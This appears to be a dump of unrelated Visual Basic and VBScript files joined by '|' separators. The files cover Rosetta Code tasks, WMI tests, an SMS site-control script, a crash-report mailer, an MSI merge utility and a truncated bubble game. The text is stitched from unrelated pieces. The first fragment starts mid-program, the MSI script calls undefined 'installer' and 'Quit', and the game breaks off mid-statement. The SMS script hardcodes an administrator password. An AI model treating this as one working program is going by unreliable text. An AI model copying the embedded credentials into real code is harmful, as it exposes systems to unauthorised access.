7020 DATA $02, $10: REM
7030 DATA $08, $00: REM
7040 DATA $08, $78: REM
7050 DATA $28, $35: REM
7060 DATA $08, $02: REM
7070 DATA $08, $7A: REM
7080 DATA $2A, $0E: REM
7090 DATA $02, $08: REM
7100 DATA $08, $00: REM
7110 DATA $08, $78: REM
7120 DATA $02, $08: REM
7130 DATA $08, $02: REM
7140 DATA $08, $7A: REM
7150 DATA $02, $10: REM
7160 DATA $08, $00: REM
7170 DATA $08, $78: REM
7180 DATA $28, $3E: REM
7190 DATA $08, $01: REM
7200 DATA $08, $79: REM
7210 DATA $29, $39: REM
7220 DATA $08, $02: REM
7230 DATA $08, $7A: REM
7240 DATA $2A, $2E: REM
7250 DATA $02, $10: REM
7260 DATA $08, $01: REM
7270 DATA $08, $79: REM
7280 DATA $02, $10: REM
7290 DATA $08, $00: REM
7300 DATA $08, $78: REM
7310 DATA $28, $2E: REM
7320 DATA $08, $02: REM
7330 DATA $08, $7A: REM
7340 DATA $2A, $0E: REM
7350 DATA $08, $03: REM
7360 DATA $08, $7B: REM
7370 DATA $02, $08: REM
7380 DATA $08, $00: REM
7390 DATA $08, $78: REM
7400 DATA $02, $08: REM
7410 DATA $08, $02: REM
7420 DATA $08, $7A: REM
7430 DATA $08, $03: REM
7440 DATA $08, $7B: REM
7450 DATA $2B, $41: REM
7460 DATA $02, $10: REM
7470 DATA $08, $00: REM
7480 DATA $08, $78: REM
7490 DATA $28, $38: REM
7500 DATA $08, $01: REM
7510 DATA $08, $79: REM
7520 DATA $29, $42: REM
7530 DATA $08, $02: REM
7540 DATA $08, $7A: REM
7550 DATA $2A, $2E: REM
7560 DATA $08, $03: REM
7570 DATA $08, $7B: REM
7580 DATA $2B, $42: REM
7590 DATA $02, $10: REM
7600 DATA $08, $01: REM
7610 DATA $08, $79: REM
7620 DATA $08, $03: REM
7630 DATA $08, $7B: REM
7640 DATA $2B, $48: REM
7650 DATA $02, $10: REM
7660 DATA $08, $00: REM
7670 DATA $08, $78: REM
7680 DATA $28, $2E: REM
7690 DATA $08, $02: REM
7700 DATA $08, $7A: REM
7710 DATA $2A, $0E: REM
7720 DATA $02, $08: REM
7730 DATA $08, $00: REM
7740 DATA $08, $78: REM
7750 DATA $02, $08: REM
7760 DATA $08, $02: REM
7770 DATA $08, $7A: REM
7780 DATA $02, $10: REM
7790 DATA $08, $00: REM
7800 DATA $08, $78: REM
7810 DATA $28, $38: REM
7820 DATA $08, $01: REM
7830 DATA $08, $79: REM
7840 DATA $08, $02: REM
7850 DATA $08, $7A: REM
7860 DATA $2A, $2E: REM
7870 DATA $02, $10: REM
7880 DATA $08, $01: REM
7890 DATA $08, $79: REM
7900 DATA $02, $10: REM
7910 DATA $08, $00: REM
7920 DATA $08, $78: REM
7930 DATA $08, $02: REM
7940 DATA $08, $7A: REM
7950 DATA $2A, $0E: REM
7960 DATA $08, $03: REM
7970 DATA $08, $7B: REM
7980 DATA $2B, $4E: REM
7990 DATA $02, $08: REM
8000 DATA $08, $00: REM
8010 DATA $08, $78: REM
8020 DATA $02, $08: REM
8030 DATA $08, $02: REM
8040 DATA $08, $7A: REM
8050 DATA $08, $03: REM
8060 DATA $08, $7B: REM
8070 DATA $2B, $4C: REM
8080 DATA $02, $10: REM
8090 DATA $08, $00: REM
8100 DATA $08, $78: REM
8110 DATA $28, $41: REM
8120 DATA $08, $01: REM
8130 DATA $08, $79: REM
8140 DATA $29, $39: REM
8150 DATA $08, $02: REM
8160 DATA $08, $7A: REM
8170 DATA $2A, $2E: REM
8180 DATA $08, $03: REM
8190 DATA $08, $7B: REM
8200 DATA $2B, $48: REM
8210 DATA $02, $10: REM
8220 DATA $08, $01: REM
8230 DATA $08, $79: REM
8240 DATA $08, $03: REM
8250 DATA $08, $7B: REM
8260 DATA $2B, $42: REM
8270 DATA $02, $10: REM
8280 DATA $08, $00: REM
8290 DATA $08, $78: REM
8300 DATA $28, $38: REM
8310 DATA $08, $02: REM
8320 DATA $08, $7A: REM
8330 DATA $2A, $0E: REM
8340 DATA $08, $03: REM
8350 DATA $08, $7B: REM
8360 DATA $2B, $3E: REM
8370 DATA $02, $08: REM
8380 DATA $08, $00: REM
8390 DATA $08, $78: REM
8400 DATA $02, $08: REM
8410 DATA $08, $02: REM
8420 DATA $08, $7A: REM
8430 DATA $02, $10: REM
8440 DATA $08, $00: REM
8450 DATA $08, $78: REM
8460 DATA $28, $41: REM
8470 DATA $08, $01: REM
8480 DATA $08, $79: REM
8490 DATA $08, $02: REM
8500 DATA $08, $7A: REM
8510 DATA $2A, $2E: REM
8520 DATA $02, $10: REM
8530 DATA $08, $01: REM
8540 DATA $08, $79: REM
8550 DATA $02, $10: REM
8560 DATA $04, $00: REM
|
'connect to sms
Set Locator = CreateObject("WbemScripting.SWbemLocator")
Set Context = CreateObject("WbemScripting.SWbemNamedValueSet")
Set Services = Locator.ConnectServer("WSMS2", "Root\SMS\Site_WN2", "smsadmin", "Elvis1")
'Execute "GetSessionHandle" method and store result in our context object
Context.Add "SessionHandle", Services.ExecMethod("SMS_SiteControlFile", "GetSessionHandle").SessionHandle
'Grab an SMS_SCI_Address object
Set Address = Services.Get("SMS_SCI_Address", , Context).SpawnInstance_
'Set necessary properties
Address.Addresstype = "MS_LAN"
Address.DesSiteCode = "WN2"
Address.ItemName = "WN2|MS_LAN"
Address.ItemType = "Address"
Address.SiteCode = "WN2"
'Put (crash occurs here)
Set Path = Address.Put_(wbemChangeFlagCreateOnly, Context)
WScript.Echo Path.RelPath
|
<reponame>LaudateCorpus1/RosettaCodeData<gh_stars>1-10
class markovparser
dim aRules
public property let ruleset( sBlock )
dim i
aRules = split( sBlock, vbNewLine )
'~ remove blank lines from end of array
do while aRules( ubound( aRules ) ) = vbnullstring
redim preserve aRules( ubound( aRules ) - 1 )
loop
'~ parse array
for i = lbound( aRules ) to ubound( aRules )
if left( aRules( i ), 1 ) = "#" then
aRules( i ) = Array( vbnullstring, aRules(i))
else
aRules( i ) = Split( aRules( i ), " -> ", 2 )
end if
next
end property
public function apply( sArg )
dim ruleapplied
dim terminator
dim was
dim i
dim repl
dim changes
ruleapplied = true
terminator = false
do while ruleapplied and (not terminator)
changes = 0
was = sArg
for i = lbound( aRules ) to ubound( aRules )
repl = aRules(i)(1)
if left( repl, 1 ) = "." then
terminator = true
repl = mid( repl, 2 )
end if
sArg = replace( sArg, aRules(i)(0), repl)
if was <> sArg then
changes = changes + 1
if changes = 1 then
exit for
end if
end if
if terminator then
exit for
end if
next
if changes = 0 then
ruleapplied = false
end if
loop
apply = sArg
end function
sub dump
dim i
for i = lbound( aRules ) to ubound( aRules )
wscript.echo eef(aRules(i)(0)=vbnullstring,aRules(i)(1),aRules(i)(0)& " -> " & aRules(i)(1)) & eef( left( aRules(i)(1), 1 ) = ".", " #terminator", "" )
next
end sub
private function eef( bCond, sExp1, sExp2 )
if bCond then
eef = sExp1
else
eef = sExp2
end if
end function
end class
|
<gh_stars>10-100
on error resume next
set nvs = CreateObject("WbemScripting.SWbemNamedValueSet")
nvs.AddAs "Fred", 10, 2
WScript.Echo "2:", nvs("Fred").CIMType
nvs.Add "Fred2", 11
WScript.Echo "2:", nvs("Fred2").CIMType
nvs("Fred2").CIMType = 3
WScript.Echo "3:", nvs("Fred2").CIMType
nvs("Fred2") = "Woobit"
WScript.Echo "8:", nvs("Fred2").CIMType
WScript.Echo ""
WScript.Echo "Datetime"
WScript.Echo "++++++++"
WScript.Echo ""
nvs.AddAs "Datetime", "20000217100430.000000+060", 101
WScript.Echo "101:", nvs("Datetime").CIMType
nvs.AddAs "DateArray", Array("20000217100430.000000+060", "20000217100430.000000+061"), 101
WScript.Echo "101:", nvs("DateArray").CIMType
nvs.AddAs "DateArrayBad", Array("20000217100430.000000+060", "0000217100430.000000+061"), 101
if err <> 0 then
WScript.Echo "TypeMismatch:", Err.Description, Err.Source
err.clear
else
WScript.Echo "Error!"
end if
WScript.Echo ""
WScript.Echo "Reference"
WScript.Echo "+++++++++"
WScript.Echo ""
nvs.AddAs "Reference", "//wwo/root/default:fred=10", 102
WScript.Echo "102:", nvs("Reference").CIMType
nvs.AddAs "ReferenceArray", Array("//wwo/root/default:fred=10","root/cimv2:Disk"), 102
WScript.Echo "102:", nvs("ReferenceArray").CIMType
nvs.AddAs "ReferenceArrayBad", Array("//wwo/root/default:fred=10","root::cimv2:Disk"), 102
if err <> 0 then
WScript.Echo "TypeMismatch:", Err.Description, Err.Source
err.clear
else
WScript.Echo "Error!"
end if
WScript.Echo ""
WScript.Echo "Sint64"
WScript.Echo "++++++++"
WScript.Echo ""
nvs.AddAs "Sint64", "2000021710043022222", 20
WScript.Echo "20:", nvs("Sint64").CIMType
nvs.AddAs "Sint64Array", Array("-2000021710043022222","2000021710043022222"), 20
WScript.Echo "20:", nvs("Sint64Array").CIMType
nvs.AddAs "Sint64ArrayBad", Array("-2000021710043022222","-20000217100430222222222"), 20
if err <> 0 then
WScript.Echo "TypeMismatch:", Err.Description, Err.Source
err.clear
else
WScript.Echo "Error!"
end if
WScript.Echo ""
WScript.Echo "Uint64"
WScript.Echo "++++++++"
WScript.Echo ""
nvs.AddAs "Uint64", "10000217100430222222", 21
WScript.Echo "21:", nvs("Uint64").CIMType
nvs.AddAs "Uint64Array", Array("10000217100430222222","10000217100430222223"), 21
WScript.Echo "21:", nvs("Uint64Array").CIMType
nvs.AddAs "Uint64ArrayBad", Array("10000217100430222222","1000021710043022222222222"), 21
if err <> 0 then
WScript.Echo "TypeMismatch:", Err.Description, Err.Source
err.clear
else
WScript.Echo "Error!"
end if
|
Option Explicit
Private Declare Function GetComputerName Lib "kernel32.dll" Alias "GetComputerNameW" _
(ByVal lpBuffer As Long, ByRef nSize As Long) As Long
Private Const MAX_COMPUTERNAME_LENGTH As Long = 31
Private Const NO_ERR As Long = 0
Private Function Hostname() As String
Dim i As Long, l As Long, s As String
s = Space$(MAX_COMPUTERNAME_LENGTH)
l = Len(s) + 1
i = GetComputerName(StrPtr(s), l)
Debug.Assert i <> 0
Debug.Assert l <> 0
Hostname = Left$(s, l)
End Function
Sub Main()
Debug.Assert Hostname() = Environ$("COMPUTERNAME")
End Sub
|
s = "rosettacode.org"
'starting from n characters in and of m length
WScript.StdOut.WriteLine Mid(s,8,4)
'starting from n characters in, up to the end of the string
WScript.StdOut.WriteLine Mid(s,8,Len(s)-7)
'whole string minus last character
WScript.StdOut.WriteLine Mid(s,1,Len(s)-1)
'starting from a known character within the string and of m length
WScript.StdOut.WriteLine Mid(s,InStr(1,s,"c"),4)
'starting from a known substring within the string and of m length
WScript.StdOut.WriteLine Mid(s,InStr(1,s,"ose"),6)
|
Dim cn
Dim rs
Dim rsTen
Dim objMail
Dim strProfileInfo
Dim strServer
Dim strMailBox
Dim objSession
Dim strBody
Dim strBucketNumber
Set cn = CreateObject("ADODB.Connection")
Set rs = CreateObject("ADODB.Recordset")
Set rsTen = CreateObject("ADODB.Recordset")
'on error resume next
Set oMail = CreateObject("CDO.Message")
With cn
.ConnectionString = "Provider=SQLOLEDB.1;Persist Security Info=False;Pwd=<PASSWORD>;User ID=ocarpts;Initial Catalog=CrashDB2;Data Source=tkwucdsqla02"
.CursorLocation = 3
.Open
End With
Set rs = cn.Execute("EmailCounts")
rs.MoveFirst
Do While rs.EOF = False
'For x = 0 To 10
If rs.Fields(0).Value > 0 Then
Set rsTen = cn.Execute("EmailTopTen '" & rs.Fields(1) & "'")
oMail.From = "<EMAIL>"
'' oMail.To = "<EMAIL>"
'oMail.To = "andreva"
oMail.To = rs.Fields(1).Value & "@microsoft.com"
'oMail.To = "<EMAIL>"
'oMail.CC = "andreava"
oMail.Subject = "Daily Bucket Count"
strBody = "<html><body><h3><font color=red>"
strBody = strBody & "Daily Bucket Count for " & rs.Fields(1).Value & " alias"
strBody = strBody & "</font></h3>"
strBody = strBody & "<b><font color=red>There are currently "
strBody = strBody & rs.Fields(0).Value & " buckets assigned to this alias in the OCA Analysis DB.</font></b>"
strBody = strBody & "<p>Click here to view the buckets "
strBody = strBody & "<a target='_blank' href='http://winweb/bluescreen/debug/v2/DBGPortal_DisplayQuery.asp?SP=DBGP_GetBucketsByAlias&Param1=All&Param2=All&Param3=CrashCount&Param4=DESC&Param5=" & rs.Fields(1).Value & "'>" & rs.Fields(1).Value & "</a>"
strBody = strBody & "<BR><BR>"
If rsTen.State = 1 Then
strBody = strBody & "<p>Top 10 List of Buckets<br><br>"
strBody = strBody & "<table width=100% border=1 cellpadding=3 cellspacing=3><tr bgcolor=#99cccc>"
strBody = strBody & "<td align=Center style=color:#660033;font-weight:Bold>Bucket#</td>"
strBody = strBody & "<td align=Center style=color:#660033;font-weight:Bold>BucketID</td>"
strBody = strBody & "<td align=Center style=color:#660033;font-weight:Bold>Followup</td>"
strBody = strBody & "<td align=Center style=color:#660033;font-weight:Bold>Count</td>"
strBody = strBody & "<td align=Center style=color:#660033;font-weight:Bold>BugID</td>"
strBody = strBody & "<td align=Center style=color:#660033;font-weight:Bold>SolutionID</td><tr>"
strBody = strBody & "<tr bgcolor=#ff6633><td colspan=8><b>Buckets</b></td></tr><tr>"
Do While rsTen.EOF = False
If IsNull(rsTen.Fields(0).Value) Then
strBody = strBody & " "
Else
strBucketNumber = rsTen.Fields(0).Value
End If
If Len(strBucketNumber) > 5 Then
strBody = strBody & "<tr><td>"
strBody = strBody & strBucketNumber & "</td>"
Else
strBody = strBody & "<td>"
strBody = strBody & strBucketNumber & "</td>"
End If
If Len(rsTen.Fields(1).Value) > 15 Then
strBody = strBody & "<td>"
' strBody = strBody & "<a target='_blank' href='http://winweb/bluescreen/debug/v2/DBGPortal_ViewBucket.asp?BucketID=" & rsTen.Fields(1).Value & ">"
strBody = strBody & Left(rsTen.Fields(1).Value, 40) & "</td>"
' ElseIf Len(rsTen.Fields(1).Value) > 10 Then
' strBody = strBody & "<td>" & rsTen.Fields(1).Value & "</td>"
' ElseIf Len(rsTen.Fields(1).Value) > 5 Then
' strBody = strBody & "<td>" & rsTen.Fields(1).Value & "</td>"
Else
strBody = strBody & "<td>" & rsTen.Fields(1).Value & "</td>"
End If
If Len(rsTen.Fields(2).Value) > 5 Then
strBody = strBody & "<TD>" & Left(rsTen.Fields(2).Value, 25) & "</td>"
Else
strBody = strBody & "<TD>" & rsTen.Fields(2).Value & "</td>"
End If
If Len(rsTen.Fields(3).Value) > 5 Then
strBody = strBody & "<TD>" & rsTen.Fields(3).Value & "</TD>"
Else
strBody = strBody & "<TD>" & rsTen.Fields(3).Value & "</TD>"
End If
If IsNull(rsTen.Fields(4).Value) Then
strBody = strBody & "<td>" & " " & "</TD>"
Else
strBody = strBody & "<TD>"
strBody = strBody & "<a target='_blank' href='http://liveraid/?ID=" & rsTen.Fields(4).Value & "'>"
strBody = strBody & rsTen.Fields(4).Value & "</a></TD>"
End If
If IsNull(rsTen.Fields(5).Value) Then
strBody = strBody & "<TD>" & " " & "</TD>"
Else
strBody = strBody & "<TD>" & rsTen.Fields(5).Value & "</TD>"
End If
strBody = strBody & "</TR>"
rsTen.MoveNext
Loop
End If
strBody = strBody & "</table></body></html>"
oMail.HTMLBody = strBody
oMail.Send
End If
rs.MoveNext
' Next
Loop
If rs.State = 1 Then
rs.Close
End If
If cn.State = 1 Then
cn.Close
End If
Set oMail = Nothing
Set rs = Nothing
Set cn = Nothing
|
Option Explicit
Public Declare Function RtlCompareMemory Lib "ntdll.dll" _
(ByRef Source1 As Any, ByRef Source2 As Any, ByVal Length As Long) As Long
Public Function IsNAN(ByRef d As Double) As Boolean
Dim d1 As Double
d1 = NaN()
IsNAN = (RtlCompareMemory(d, d1, 8) = 8)
End Function
Public Function NaN() As Double
On Error Resume Next ' ignore the error
NaN = 0 / 0
End Function
Sub Main()
Dim d1 As Double
Dim d2 As Double
d1 = NaN()
d2 = d1
Debug.Assert IsNAN(d2)
Debug.Print CStr(d2)
End Sub
|
Option Base 1
Function levenshtein(s1 As String, s2 As String) As Integer
Dim n As Integer: n = Len(s1) + 1
Dim m As Integer: m = Len(s2) + 1
Dim d() As Integer, i As Integer, j As Integer
ReDim d(n, m)
If n = 1 Then
levenshtein = m - 1
Exit Function
Else
If m = 1 Then
levenshtein = n - 1
Exit Function
End If
End If
For i = 1 To n
d(i, 1) = i - 1
Next i
For j = 1 To m
d(1, j) = j - 1
Next j
For i = 2 To n
For j = 2 To m
d(i, j) = WorksheetFunction.Min( _
d(i - 1, j) + 1, _
d(i, j - 1) + 1, _
(d(i - 1, j - 1) - (Mid(s1, i - 1, 1) <> Mid(s2, j - 1, 1))) _
)
Next j
Next i
levenshtein = d(n, m)
End Function
Public Sub main()
Debug.Print levenshtein("kitten", "sitting")
Debug.Print levenshtein("rosettacode", "raisethysword")
End Sub
|
Option Explicit
Sub InsertForm()
Dim myForm As Object, strname As String
Set myForm = ThisWorkbook.VBProject.VBComponents.Add(3)
strname = myForm.Name
VBA.UserForms.Add(strname).Show
End Sub
|
<filename>Task/Catalan-numbers-Pascals-triangle/Visual-Basic/catalan-numbers-pascals-triangle.vb
Sub catalan()
Const n = 15
Dim t(n + 2) As Long
Dim i As Integer, j As Integer
t(1) = 1
For i = 1 To n
For j = i + 1 To 2 Step -1
t(j) = t(j) + t(j - 1)
Next j
t(i + 1) = t(i)
For j = i + 2 To 2 Step -1
t(j) = t(j) + t(j - 1)
Next j
Debug.Print i, t(i + 1) - t(i)
Next i
End Sub 'catalan
|
<gh_stars>1-10
Function RegExTest(str,patrn)
Dim regEx
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Pattern = patrn
RegExTest = regEx.Test(str)
End Function
Function URLDecode(sStr)
Dim str,code,a0
str=""
code=sStr
code=Replace(code,"+"," ")
While len(code)>0
If InStr(code,"%")>0 Then
str = str & Mid(code,1,InStr(code,"%")-1)
code = Mid(code,InStr(code,"%"))
a0 = UCase(Mid(code,2,1))
If a0="U" And RegExTest(code,"^%u[0-9A-F]{4}") Then
str = str & ChrW((Int("&H" & Mid(code,3,4))))
code = Mid(code,7)
ElseIf a0="E" And RegExTest(code,"^(%[0-9A-F]{2}){3}") Then
str = str & ChrW((Int("&H" & Mid(code,2,2)) And 15) * 4096 + (Int("&H" & Mid(code,5,2)) And 63) * 64 + (Int("&H" & Mid(code,8,2)) And 63))
code = Mid(code,10)
ElseIf a0>="C" And a0<="D" And RegExTest(code,"^(%[0-9A-F]{2}){2}") Then
str = str & ChrW((Int("&H" & Mid(code,2,2)) And 3) * 64 + (Int("&H" & Mid(code,5,2)) And 63))
code = Mid(code,7)
ElseIf (a0<="B" Or a0="F") And RegExTest(code,"^%[0-9A-F]{2}") Then
str = str & Chr(Int("&H" & Mid(code,2,2)))
code = Mid(code,4)
Else
str = str & "%"
code = Mid(code,2)
End If
Else
str = str & code
code = ""
End If
Wend
URLDecode = str
End Function
url = "http%3A%2F%2Ffoo%20bar%C3%A8%2F"
WScript.Echo "Encoded URL: " & url & vbCrLf &_
"Decoded URL: " & UrlDecode(url)
|
<reponame>LaudateCorpus1/RosettaCodeData<gh_stars>1-10
Dim dict As New Collection
os = Array("Windows", "Linux", "MacOS")
owner = Array("Microsoft", "<NAME>", "Apple")
For n = 0 To 2
dict.Add owner(n), os(n)
Next
Debug.Print dict.Item("Linux")
Debug.Print dict.Item("MacOS")
Debug.Print dict.Item("Windows")
|
<gh_stars>1-10
Function send_mail(from,recipient,cc,subject,message)
With CreateObject("CDO.Message")
.From = from
.To = recipient
.CC = cc
.Subject = subject
.Textbody = message
.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpserver") = _
"mystmpserver"
.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
.Configuration.Fields.Update
.Send
End With
End Function
Call send_mail("<EMAIL>","<EMAIL>","","Test Email","this is a test message")
|
on error resume next
set cimomid = GetObject("winmgmts:\\ludlow\root\default:__cimomidentification=@")
if err <> 0 then
WScript.Echo ErrNumber, Err.Source, Err.Description
else
WScript.Echo cimomid.path_.displayname
WScript.Echo cimomid.versionusedtocreatedb
end if
|
' Windows Installer database utility to merge data from another database
' For use with Windows Scripting Host, CScript.exe or WScript.exe
' Copyright (c) 1999, Microsoft Corporation
'
Option Explicit
'BUGBUG Make the debug level set by commandline
' DebugOut works much better run from cscript
Dim DebugMode:DebugMode = 999
Const msiOpenDatabaseModeReadOnly = 0
Const msiOpenDatabaseModeTransact = 1
Const msiOpenDatabaseModeCreate = 3
Const ForAppending = 8
Const ForReading = 1
Const ForWriting = 2
Const TristateTrue = -1
Dim argCount:argCount = Wscript.Arguments.Count
Dim iArg:iArg = 0
If (argCount < 5) Then
Wscript.Echo "Windows Installer database merge utility" &_
vbNewLine & " 1st argument is the path to MSI database (installer package)" &_
vbNewLine & " 2nd argument is the path to database containing data to merge" &_
vbNewLine & " 3rd argument is the Feature name to merge" &_
vbNewLine & " 4th argument is the Directory rebase" &_
vbNewLine & " 5th argument is name of the error log"
Wscript.Quit 1
End If
DebugOut 0, "Target Database : " & WScript.Arguments(0)
DebugOut 0, "Merge Module : " & WScript.Arguments(1)
DebugOut 0, "Feature to Merge : " & WScript.Arguments(2)
DebugOut 0, "Directory Rebase : " & WScript.Arguments(3)
DebugOut 0, "Error Log : " & WScript.Arguments(4) & vbNewLine
' Connect to Windows Installer object
On Error Resume Next
Dim IMsmMerge : Set IMsmMerge = Nothing
DebugOut 0, "Instantiate Msm.Merge object"
Set IMsmMerge = Wscript.CreateObject("Msm.Merge")
' Dim IMsmErrors : Set IMsmErrors = Nothing
' Set IMsmErrors = IMsmMerge.Errors
' Open MSI database and MSI merge module
DebugOut 0, "Open Database " & WScript.Arguments(0)
Dim MSIDatabase : Set MSIDatabase = IMsmMerge.OpenDatabase(WScript.Arguments(0)) : CheckError
DebugOut 0, "Open MergeModule " & WScript.Arguments(1)
Dim MergeMod : Set MergeMod = IMsmMerge.OpenModule(WScript.Arguments(1), 0) : CheckError
' Set the log
DebugOut 0, "Open Log " & WScript.Arguments(4)
IMsmMerge.OpenLog(WScript.Arguments(4)) : CheckError
' Do the merge
DebugOut 0, "Call Msm.Merge"
IMsmMerge.Merge WScript.Arguments(2), WScript.Arguments(3) : CheckError
' Commit and cleanup
DebugOut 0, "Close and cleanup"
IMsmMerge.CloseModule() : CheckError
IMsmMerge.CloseDatabase(TRUE) : CheckError
IMsmMerge.CloseLog : CheckError
Quit 0
' ---------------------------------------------------
' Sub CheckError()
' ---------------------------------------------------
Sub CheckError
Dim message, errRec
If Err = 0 Then Exit Sub
message = "ERROR: " & Err.Source & " " & Hex(Err) & ": " & Err.Description
If Not installer Is Nothing Then
Set errRec = installer.LastErrorRecord
If Not errRec Is Nothing Then message = message & vbNewLine & errRec.FormatText
End If
Fail message
End Sub
' ---------------------------------------------------
' Sub Fail()
' ---------------------------------------------------
Sub Fail(message)
Wscript.Echo message
Wscript.Quit 2
End Sub
' ---------------------------------------------------
' Sub DebugOut()
'
'BUGBUG General DebugOut, how to pipe it to the debug monitor?
' ---------------------------------------------------
Sub DebugOut(DebugLevel, _
DebugString)
if DebugLevel >= DebugMode then
Wscript.Echo DebugString
end if
End Sub
|
'#####################################################################
'BULLE GAME
'UQAM - EMB7020-Codesign - Winter 2013
'<NAME> - BATL240773
'#####################################################################
Public Class FormBulle
Dim intInitSizeX, intInitSizeY, intWindowSizeX, intWindowSizeY As Integer
'intInitSizeX, intInitSizeY: used to store the initial ball size
'intwindowSizeX, intWindowSizeY: used to store the initial window size
Dim intScore As Integer
Dim bolGameOver As Boolean
'Oject used to generate the random ball position
Dim objRandom As New System.Random( _
CType(System.DateTime.Now.Ticks Mod System.Int32.MaxValue, Integer))
'All game action passes in this section (the tick of the clock)
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim intSizeStep As Integer
intSizeStep = 2 'this number must be even, and it represents the ball size increment for every clock tick
Dim bolFirstArgIsBigger As Boolean
bolFirstArgIsBigger = False
If Not bolGameOver Then
'Checking if any ball intersects with each other
If IsOverlapped(CircleBlue, CircleGreen, bolFirstArgIsBigger) Then
If bolFirstArgIsBigger Then
SetRandomPosition(Me, CircleBlue)
Else
SetRandomPosition(Me, CircleGreen)
End If
End If
bolFirstArgIsBigger = False
If IsOverlapped(CircleBlue, CircleRed, bolFirstArgIsBigger) Then
If bolFirstArgIsBigger Then
SetRandomPosition(Me, CircleBlue)
Else
SetRandomPosition(Me, CircleRed)
End If
End If
bolFirstArgIsBigger = False
If IsOverlapped(CircleGreen, CircleRed, bolFirstArgIsBigger) Then
If bolFirstArgIsBigger Then
SetRandomPosition(Me, CircleGreen)
Else
SetRandomPosition(Me, CircleRed)
End If
End If
'Check if ball reaches the window border
If IsBorderExceeded(intWindowSizeX, intWindowSizeY, CircleBlue) Or IsBorderExceeded(intWindowSizeX, intWindowSizeY, CircleRed) Or IsBorderExceeded(intWindowSizeX, intWindowSizeY, CircleGreen) Then
lblGameOver.Visible = True
bolGameOver = True
End If
'Updating ball size
UpdateSize(CircleBlue, intSizeStep)
UpdateSize(CircleRed, intSizeStep)
UpdateSize(CircleGreen, intSizeStep)
End If
End Sub
Private Sub FormBulle_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
InitializeGame()
End Sub
'Game initialization (initial parameters)
Private Sub InitializeGame()
intInitSizeX = 10
intInitSizeY = 10
intScore = 0
lblScoreValue.Text = intScore.ToString
intWindowSizeX = 914
intWindowSizeY = 487
bolGameOver = False
lblGameOver.Visible = False
Timer1.Interval = 100
SetRandomPosition(Me, CircleBlue)
SetRandomPosition(Me, CircleRed)
SetRandomPosition(Me, CircleGreen)
End Sub
'Sub to generate a random position
Private Sub SetRandomPosition(ByRef frmForm As Object, ByRef Circle As Object)
Dim intMinMarging, intInitialSize, XY(2) As Integer
intMinMarging = 50
intInitialSize = 30
Circle.Height = intInitialSize
Circle.Width = intInitialSize
Dim intMaxX, intMaxY As Integer
intMaxX = frmForm.Width - intMinMarging - Circle.Width
intMaxY = frmForm.Height - intMinMarging - Circle.Height - 70
XY = GetRandomPosition(intMinMarging, intMaxX, intMinMarging, intMaxY)
Circle.Left = XY(0)
Circle.Top = XY(1)
End Sub
'Sub to increment the size of balls
Private Sub UpdateSize(ByRef Circle As Object, ByVal intStep As Integer)
Dim intHeight, intWidth As Integer
intHeight = Circle.Height + intStep
Circle.Height = intHeight
intWidth = Circle.Width + intStep
Circle.Width = intWidth
Circle.Top = Circle.Top - intStep / 2
Circle.Left = Circle.Left - intStep / 2
End Sub
'Exit button action
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Me.Close()
End Sub
'Function that generate a random X and Y to set the random position of a ball
Public Function GetRandomPosition(ByVal intLowX As Integer, ByVal intHighX As Integer, ByVal intLowY As Integer, ByVal intHighY As Integer) As Integer()
Dim intXY(2) As Integer
'Returns a random number,
'between the optional Low and High parameters
intXY(0) = objRandom.Next(intLowX, intHighX + 1)
intXY(1) = objRandom.Next(intLowY, intHighY + 1)
Return intXY
End Function
'Reinitialize button action
Private Sub BtnRestart_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnRestart.Click
InitializeGame()
End Sub
'Function to check if 2 balls are overlapped
Private Function IsOverlapped(ByRef Circle1 As Object, ByRef Circle2 As Object, ByRef bolFirstArgIsBigger As Boolean) As Boolean
Dim intDistPwrTwo, X1, X2, Y1, Y2 As Integer
X1 = Circle1.Left + Int(Circle1.Width / 2)
X2 = Circle2.Left + Int(Circle2.Width / 2)
Y1 = Circle1.Top + Int(Circle1.Width / 2)
Y2 = Circle2.Top + Int(Circle2.Width / 2)
'Notice here that it was not necessary to calculate the SQRT
intDistPwrTwo = (X1 - X2) ^ 2 + (Y1 - Y2) ^ 2
If Circle1.Height > Circle2.Height Then
bolFirstArgIsBigger = True
Else
bolFirstArgIsBigger = False
End If
If intDistPwrTwo <= (Circle1.Height / 2 + Circle2.Height / 2) ^ 2 Then
Return True
Else
Return False
End If
End Function
'Determines the action when mouse passes over the Green ball
Private Sub CircleGreen_MouseClick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CircleGreen.MouseClick
'Enter the Update Score function call here
Dim intCircleHeight As Integer
intCircleHeight = CircleGreen.Height
If Not bolGameOver Then
SetRandomPosition(Me, CircleGreen)
UpdateScore(intCircleHeight, intScore)
lblScoreValue.Text = intScore.ToString
End If
End Sub
'Determines the action when mouse passes over the Red ball
Private Sub CircleRed_MouseClick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CircleRed.MouseClick
'Enter the Update Score function call here
Dim intCircleHeight As Integer
intCircleHeight = CircleRed.Height
If Not bolGameOver Then
SetRandomPosition(Me, CircleRed)
UpdateScore(intCircleHeight, intScore)
lblScoreValue.Text = intScore.ToString
End If
End Sub
'Determines the action when mouse passes over the Blue ball
Private Sub CircleBlue_MouseClick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CircleBlue.MouseClick
'Enter the Update Score function call here
Dim intCircleHeight As Integer
intCircleHeight = CircleBlue.Height
If Not bolGameOver Then
SetRandomPosition(Me, CircleBlue)
UpdateScore(intCircleHeight, intScore)
lblScoreValue.Text = intScore.ToString
End If
End Sub
'This function is used to update the score variable acording tot he current dimension of the circle
Private Sub UpdateScore(ByVal intCircleHeight As Integer, ByRef intScore As Integer)
Dim intScoreFactor As Integer
intScoreFactor = 10000
intScore = intScore + (intScoreFactor / intCircleHeight)
'Logic to dynamically change the speed of ball growth
If (intScore > 1000 And intScore <= 2000) Then
Timer1.Interval = 90
ElseIf (intScore > 2000 And intScore <= 3000) Then
